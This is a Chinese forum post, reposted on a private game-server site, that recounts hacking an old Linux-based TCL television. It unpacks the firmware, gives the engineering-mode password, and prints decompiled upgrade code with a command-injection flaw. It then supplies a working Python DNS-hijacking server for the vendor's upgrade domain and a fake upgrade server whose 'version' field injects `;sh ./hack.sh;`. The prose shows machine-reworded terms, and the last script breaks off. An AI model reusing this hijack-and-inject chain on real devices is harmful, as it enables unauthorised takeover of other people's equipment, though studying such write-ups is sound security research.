12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 310|回复: 0

看我如何PWN掉一款老旧的TCL电视

[复制链接]

303

主题

303

帖子

616

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
616
发表于 2020-11-2 21:00:38 | 显示全部楼层 |阅读模式
0x01前言
    因为疫情影响,被困在农村故乡里边,闲得无聊,玩起了一款好久好久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇重要记录Pwn该设备的思绪以及过程。

0x02 信息收集
电视机型号如下:

通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:

其中的china_lite_board即为重要的执行文件,负责电视剧大部分图像显示和逻辑处理。



0x03 确定方向

1.nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
   2.解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有肯定的危险性,大概导致电视机直接变成砖头。
   3.在分析china_lite_board文件时,可以看到进入工程模式的密码:1950
   
进入工程模式可以看到如下选项:

找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。

3.利用毛病,比如最简单的命令注入毛病来获取控制权,一般来说,这种设备对安全不注重,会有一些毛病产生,尤其是命令注入(比内存粉碎类毛病相对好利用),以是末了照旧找找看有没有命令注入毛病来进行突破。

0x04 发现毛病
发现命令注入类毛病重要的思绪是找到system函数的全部的引用,再一个个得去分析,末了通过这种方法发现了一个存在于升级功能得命令注入毛病:
     升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息:

     服务器返回得升级信息如下:
    [XML] 纯文本查看 复制代码1581142666e3567c969c2c3d4098a88b960e6278040000æåzh_CN1.0
   通过字符串搜索找到了处理的代码如下:
   [C] 纯文本查看 复制代码undefined4 FUN_00457748(MWidget *param_1){  MWidget MVar1;  MSRV_NETWORK_LINK_STATUS_e *pMVar2;  MSRV_NETWORK_IP_STATUS_e *pMVar3;  int iVar4;  int iVar5;  long lVar6;  long lVar7;  undefined4 uVar8;  char *pcVar9;  int local_1c8;  int local_1c0;  uint local_1b8;  uint local_1b4;  int local_1a4;  allocator aaStack412 [4];  basic_string abStack408 [4];  basic_string abStack404 [4];  allocator aaStack400 [4];  basic_string abStack396 [4];  basic_string abStack392 [4];  basic_string abStack388 [4];  undefined4 local_180;  undefined4 local_17c;  undefined4 local_178;  undefined4 local_174;  undefined4 local_170;  undefined4 local_16c;  undefined4 local_168;  undefined4 local_164;  undefined4 local_160;  undefined4 local_15c;  allocator aaStack344 [52];  undefined4 local_124;  undefined2 local_120;  undefined auStack286 [46];  statfs asStack240 [2];  double local_38;  double local_30;  double local_28;  double local_20;  uint local_18;       /*..............................*/      printf(&quot;\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]&quot;,             &quot;./src/NetUpdateFrame.cpp&quot;,0x51f);      *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';      Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);      Invalidate();      if (param_1[0x3a00] == (MWidget)0x1) {        printf(&quot;\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,               0x527);        uVar8 = call_C_MApp_GetPotalData(0x20,&quot;/Customer/portal/swupg/update.xml&quot;);        *(undefined4 *)(param_1 + 0x3a10) = uVar8;        printf(&quot;\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n&quot;,               *(undefined4 *)(param_1 + 0x3a10),&quot;./src/NetUpdateFrame.cpp&quot;,0x529);      }      if (*(int *)(param_1 + 0x3a10) == 1) {        puts(&quot;=======SUCCESS========&quot;);        if (param_1[0x3a00] == (MWidget)0x1) {          printf(&quot;\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,                 0x530);          param_1[0x38c] = (MWidget)0x0;          //解析xml文件          uVar8 = call_C_ParseNewUpdateXml                            (param_1 + 0x1f8,param_1 + 0x39e8,&quot;/Customer/portal/swupg/update.xml&quot;);          *(undefined4 *)(param_1 + 0x3a0c) = uVar8;          printf(&quot;\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n&quot;,                 *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),                 &quot;./src/NetUpdateFrame.cpp&quot;,0x533);          printf(&quot;\n[csheng]updateinfo->index=%d&quot;,*(undefined4 *)(param_1 + 0x78c));          printf(&quot;\n[csheng]updateinfo->md5=%s&quot;,param_1 + 0x35a);          printf(&quot;\n[csheng]updateinfo->note=%s&quot;,param_1 + 0x38c);          printf(&quot;\n[csheng]updateinfo->size=%s&quot;,param_1 + 0x238);          printf(&quot;\n[csheng]updateinfo->source=%s&quot;,param_1 + 0x256);          printf(&quot;\n[csheng]updateinfo->title=%s&quot;,param_1 + 0x21a);          printf(&quot;\n[csheng]updateinfo->type=%s&quot;,param_1 + 0x1f8);          printf(&quot;\n[csheng]updateinfo->url=%s&quot;,param_1 + 0x25b);          printf(&quot;\n[csheng]updateinfo->version=%s\n&quot;,param_1 + 0x1fc);        }        if (*(int *)(param_1 + 0x3a0c) == -1) {          puts(&quot;parse xml file error!&quot;);          return 1;        }        puts(&quot;\n=======Start Download Package======&quot;);        if (*(int *)(param_1 + 0x39e8) < 1) {          puts(&quot;=======None update info=========&quot;);          param_1[500] = (MWidget)0x2;          Hide();          Hide();          Hide();          Hide();          Hide();          Show();          SetInitialFocus(param_1);          SwitchFocusTo(param_1);          Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);          Invalidate();          param_1[499] = (MWidget)0x3;          KillTimer((ulong)param_1);          return 1;        }        doUpgrdOnce = 1;        printf(&quot;\n[csheng]totoalnums>0,..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x546);        if (param_1[0x3a00] == (MWidget)0x1) {          puts(&quot;\r\n=====NoteFlag=1======&quot;);          basic_ostringstream((_Ios_Openmode)asStack240);          param_1[0x3a00] = (MWidget)0x0;          param_1[500] = (MWidget)0x0;          Hide();          Hide();          Hide();          Hide();          Hide();          Show();          SwitchFocusTo(param_1);          if (param_1[0x38c] == (MWidget)0x0) {            Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);          }          else {            operator 0x14) + 1;        }        iVar4 = strncmp((char *)(param_1 + 0x256),&quot;300&quot;,4);        if (iVar4 == 0) {          printf(&quot;\n[csheng]source=300..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x571);          pcVar9 = (char *)GetInstance();          iVar4 = GetUSBMountPath(pcVar9);          if (iVar4 == 0) {            printf(&quot;\n[csheng]debugline..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x58f);            param_1[500] = (MWidget)0x3;            Hide();            Hide();            Hide();            Hide();            Hide();            Show();            SwitchFocusTo(param_1);            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);            Invalidate();            param_1[499] = (MWidget)0x4;            KillTimer((ulong)param_1);            return 1;          }          puts(&quot;=======Find USB Device============&quot;);          pcVar9 = (char *)GetInstance();          iVar4 = GetUSBContainer(pcVar9);          SetTimer((ulong)param_1,500,2);          lVar6 = atol((char *)(param_1 + 0x238));          if (lVar6 < 0) {            lVar6 = lVar6 + 0xfffff;          }          if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {            param_1[500] = (MWidget)0x3;            Hide();            Hide();            Hide();            Hide();            Hide();            Show();            SwitchFocusTo(param_1);            Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);            Invalidate();            param_1[499] = (MWidget)0x5;            KillTimer((ulong)param_1);            return 1;          }          local_180 = 0;          local_17c = 0;          local_178 = 0;          local_174 = 0;          local_170 = 0;          pcVar9 = (char *)GetInstance();          GetUSBMountPath(pcVar9);          sprintf(Downloadaddress,&quot;%s/%s&quot;,&local_180,param_1 + 0x21a);          strcpy(DownloadPath,(char *)&local_180);        }        else {          iVar4 = strncmp((char *)(param_1 + 0x256),&quot;100&quot;,4);          if (iVar4 == 0) {            printf(&quot;\n[csheng]source=100..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x5a1);            pcVar9 = (char *)GetInstance();            iVar4 = GetUSBMountPath(pcVar9);            if (iVar4 == 0) {              printf(&quot;\n[csheng]no usb..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x5c1);              param_1[500] = (MWidget)0x3;              Hide();              Hide();              Hide();              Hide();              Hide();              Show();              SwitchFocusTo(param_1);              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);              Invalidate();              param_1[499] = (MWidget)0x4;              KillTimer((ulong)param_1);              return 1;            }            puts(&quot;=======Find USB Device============&quot;);            pcVar9 = (char *)GetInstance();            iVar4 = GetUSBContainer(pcVar9);            SetTimer((ulong)param_1,500,2);            lVar6 = atol((char *)(param_1 + 0x238));            if (lVar6 < 0) {              lVar6 = lVar6 + 0xfffff;            }            if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {              printf(&quot;\n[csheng]USB Contain have not enough space!!!..[%s][%d]&quot;,                     &quot;./src/NetUpdateFrame.cpp&quot;,0x5a9);              param_1[500] = (MWidget)0x3;              Hide();              Hide();              Hide();              Hide();              Hide();              Show();              SwitchFocusTo(param_1);              Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);              Invalidate();              param_1[499] = (MWidget)0x5;              KillTimer((ulong)param_1);              return 1;            }            local_16c = 0;            local_168 = 0;            local_164 = 0;            local_160 = 0;            local_15c = 0;            pcVar9 = (char *)GetInstance();            GetUSBMountPath(pcVar9);            sprintf(Downloadaddress,&quot;%s/%s&quot;,&local_16c,param_1 + 0x1fc);            strcpy(DownloadPath,(char *)&local_16c);          }        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),&quot;200&quot;,4);        if (iVar4 == 0) {          printf(&quot;\n[csheng]source=200..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x5e1);          sprintf(DownloadMbootAddress,&quot;%s/%s&quot;,DownloadPath,param_1 + 0x7b2);          pcVar9 = (char *)GetInstance();          DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);        }        if (local_1a4 < 99) {          printf(&quot;\n[csheng]intpercentage=%d,debugline..[%s][%d]&quot;,local_1a4,                 &quot;./src/NetUpdateFrame.cpp&quot;,0x5ec);          param_1[500] = (MWidget)0x5;          param_1[499] = (MWidget)0x1a;          Show();          Hide();          Hide();          Hide();          Hide();          Hide();          SetInitialFocus(param_1);          SwitchFocusTo(param_1);          SetCurValue(*(long *)(param_1 + 0x1e4));          iVar4 = *(int *)(param_1 + 0x1e8);          allocator();          basic_string((char *)abStack396,aaStack344);          operator+(abStack392,(char *)abStack396)          ;          operator=((basic_string *)                    (iVar4 + 0x164),abStack392);          ~basic_string((basic_string *)abStack392                       );          ~basic_string(abStack396);          ~allocator(aaStack400);          Invalidate();          Invalidate();        }        param_1[0x39f4] = (MWidget)0x0;        printf(&quot;\n[csheng]check data space for update..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x600);        local_1b4 = 0;        local_124 = 0x7461642f;        local_120 = 0x61;        memset(auStack286,0,0x2c);        system(&quot;/system/bin/stop zygote&quot;);        system(&quot;umount -l /mnt/sdcard&quot;);        iVar4 = statfs(&quot;/data&quot;,asStack240);        if (-1 < iVar4) {          printf(&quot;\n[csheng]debugline..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x61e);          local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);          printf(&quot;\r\n u16USBFreeSpace=%ld&quot;,local_1b4,                 ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +                 (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20                      ));        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),&quot;200&quot;,4);        if (iVar4 == 0) {          printf(&quot;\n[csheng]debugline..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x638);          lVar6 = atol((char *)(param_1 + 0x238));          lVar7 = atol((char *)(param_1 + 2000));          local_1b8 = lVar6 + lVar7;        }        else {          printf(&quot;\n[csheng]debugline..[%s][%d]&quot;,&quot;./src/NetUpdateFrame.cpp&quot;,0x63d);          local_1b8 = atol((char *)(param_1 + 0x238));        }        printf(&quot;\r\n LoadFilesize=%d&quot;,local_1b8);        if (local_1b4 < local_1b8) {          printf(&quot;\r\n LoadFilesize11=%d&quot;,local_1b8);          pcVar9 = (char *)GetInstance();          iVar4 = ListFilesDir(pcVar9);          if (iVar4 == 0) {            system(&quot;/bin/tools/ls -al&quot;);            printf(&quot;\r\n remove finished&quot;);          }          iVar4 = statfs(&quot;/data&quot;,asStack240);          if (-1 < iVar4) {            local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks                              );            printf(&quot;\r\n u16USBFreeSpace22=%ld&quot;,local_1b4,                   ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +                   (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>                        0x20));          }          if (local_1b4 < local_1b8) {            system(&quot;rm -rf /data/*&quot;);            system(&quot;/bin/tools/ls -al&quot;);            sync();            puts(&quot;\r\n rm all &quot;);          }        }        iVar4 = strncmp((char *)(param_1 + 0x256),&quot;200&quot;,4);        if (iVar4 == 0) {          puts(&quot;\nmboot down thread start&quot;);          mbootthreadstatus = 1;        }        else {          puts(&quot;\nmain code down thread start&quot;);          codethreadstatus = 1;        }        //下载升级包        iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,                               call_C_Autodownloadpackage,param_1 + 0x1f8);        SetTimer((ulong)param_1,1000,3);        if (iVar4 == 0) {          puts(&quot;Create DOWNLOAD thread SUCCESS&quot;);        }        else {          printf(&quot; Couldn\'t create DOWNLOAD thread  --errno: %d\n&quot;,iVar4);        }        iVar4 = strncmp((char *)(param_1 + 0x7ee),&quot;200&quot;,4);        if (iVar4 == 0) {          puts(&quot;\nComing to creat thread of mboot&quot;);          pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,                         param_1 + 0x790);        }        lVar6 = atol((char *)(param_1 + 0x238));        printf(               &quot;//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n&quot;               ,lVar6);        lVar6 = atol((char *)(param_1 + 2000));        printf(               &quot;//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n&quot;               ,lVar6);        return 1;      }      puts(&quot;=======FAILURE=======......................==&quot;);      param_1[500] = (MWidget)0x2;      Hide();      Hide();      Hide();      Hide();      Hide();      Show();      SetInitialFocus(param_1);      SwitchFocusTo(param_1);      Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);      Invalidate();      param_1[499] = (MWidget)0x7;      KillTimer((ulong)param_1);      return 1;    }  }  KillTimer((ulong)param_1);  return 1;}

进入下载升级包的流程:




下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入毛病):


0x05 毛病利用
在上面的分析已经先容了毛病的成因,重要是没对服务端传过来的version字段进行过滤,那么问题来了,怎样伪造服务端的响应触发毛病?
   DNS劫持
通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
[Python] 纯文本查看 复制代码#!/usr/bin/pythonimport socketimport structimport timeimport loggingfrom logging.handlers import RotatingFileHandlerLOG = logging.getLogger('myip')LOG.setLevel(logging.INFO)FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)HANDLER.setFormatter(FORMATTER)LOG.addHandler(HANDLER)DELAY = 50MAXSUBDOMAINS = 3HIAJACK_LIST = [   &quot;api.upgrade.platform.huan.tv&quot;]LASTQUERY = time.time()def queryfilter(query, source):    global LASTQUERY    elapsed = time.time() - LASTQUERY    if not query.domain:        LOG.warning(&quot;ignoring query because it has no data. source: %s&quot;, source)        return False    '''    if elapsed < DELAY:        LOG.warning(&quot;ignoring query because of delay. delay: %i, domain: %s, source: %s&quot;, elapsed, query.domain, source)        return False     if len(query.domain.split(&quot;.&quot;)) > MAXSUBDOMAINS:        LOG.warning(&quot;ignoring query because of too many subdomains. domain: %s, source: %s&quot;, query.domain, source)        return False    '''    for bl_domain in HIAJACK_LIST:        if bl_domain.lower() in query.domain.lower():            LOG.warning(&quot;hijack query for blacklisted domain. domain: %s, source: %s&quot;, query.domain, source)            return True    return Falsedef _get_question_section(query):    # Query format is as follows: 12 byte header, question section (comprised    # of arbitrary-length name, 2 byte type, 2 byte class), followed by an    # additional section sometimes. (e.g. OPT record for DNSSEC)    start_idx = 12    end_idx = start_idx    num_questions = (ord(query.data[4])  0:        while query.data[end_idx] != '\0':            end_idx += ord(query.data[end_idx]) + 1        # Include the null byte, type, and class        end_idx += 5        num_questions -= 1    return query.data[start_idx:end_idx]class DNSResponse(object):    def __init__(self, query):        self.id = query.data[:2]  # Use the ID from the request.        self.flags = &quot;\x81\x80&quot;  # No errors, we never have those.        self.questions = query.data[4:6]  # Number of questions asked...        # Answer RRs (Answer resource records contained in response) 1 for now.        self.rranswers = &quot;\x00\x01&quot;        self.rrauthority = &quot;\x00\x00&quot;  # Same but for authority        self.rradditional = &quot;\x00\x00&quot;  # Same but for additionals.        # Include the question section        self.query = _get_question_section(query)        # The pointer to the resource record - seems to always be this value.        self.pointer = &quot;\xc0\x0c&quot;        # This value is set by the subclass and is defined in TYPE dict.        self.type = None        self.dnsclass = &quot;\x00\x01&quot;  # &quot;IN&quot; class.        # TODO: Make this adjustable - 1 is good for noobs/testers        self.ttl = &quot;\x00\x00\x00\x01&quot;        # Set by subclass because is variable except in A/AAAA records.        self.length = None        self.data = None  # Same as above.    def answer(self):        try:            return self.id + self.flags + self.questions + self.rranswers + \                self.rrauthority + self.rradditional + self.query + \                self.pointer + self.type + self.dnsclass + self.ttl + \                self.length + self.data        except (TypeError, ValueError):            passclass A(DNSResponse):    def __init__(self, query, ip):        super(A, self).__init__(query)        self.type = &quot;\x00\x01&quot;        self.length = &quot;\x00\x04&quot;        self.data = ''.join(chr(int(x)) for x in ip.split('.'))class DNSQuery:    def __init__(self, data):        self.data = data        self.domain = ''        tipo = (ord(data[2]) >> 3) & 15   # Opcode bits        if tipo == 0:                     # Standard query            ini = 12            lon = ord(data[ini])            while lon != 0:                self.domain += data[ini+1:ini+lon+1]+'.'                ini += lon+1                lon = ord(data[ini])#            self.type = data[ini:][1:3]#            #print struct.unpack(&quot;>H&quot;, self.type)#        else:#            self.type = data[-4:-2]hijack_ip='192.168.137.77'if __name__ == '__main__':    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    udps.bind(('', 53))    try:        while 1:            data, addr = udps.recvfrom(1024)            try:                q = DNSQuery(data)                    if queryfilter(q, addr[0]):                    print addr[0]                            r = A(q, hijack_ip)                    LOG.info('%s -> %s', q.domain, addr[0])                    udps.sendto(r.answer(), addr)                           LASTQUERY = time.time()            except Exception, err:                LOG.warning(&quot;Exception caused by %s: %s&quot;, addr, err)                # We don't send data since address could be spoofed                #udps.sendto(&quot;Invalid request&quot;, addr)    except KeyboardInterrupt:      print 'Closing'      udps.close()

再编写一个http服务器来响应升级请求,同时插入恶意构造的代码,该代码会直接执行U盘目录下的hack.sh文件:
[Python] 纯文本查看 复制代码# coding:utf-8import socketimport timeimport threadingdef handle_client(client_socket):    &quot;&quot;&quot;    处理客户端请求    &quot;&quot;&quot;    request_data = client_socket.recv(1024)    print(&quot;request data:&quot;, request_data)    # 构造响应数据    response_start_line = &quot;HTTP/1.1 200 OK\r\n&quot;     response_body = '''  %d  e3567c969c2c3d4098a88b960e627804  0000  nihao  zh_CN       100      100      123      123      test'`;sh ./hack.sh;echo `echo '1      5      pwn by wmsuper      http://192.168.137.77      1   '''%(int(time.time()))    #response_body='''

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-20 14:05 , Processed in 0.093750 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表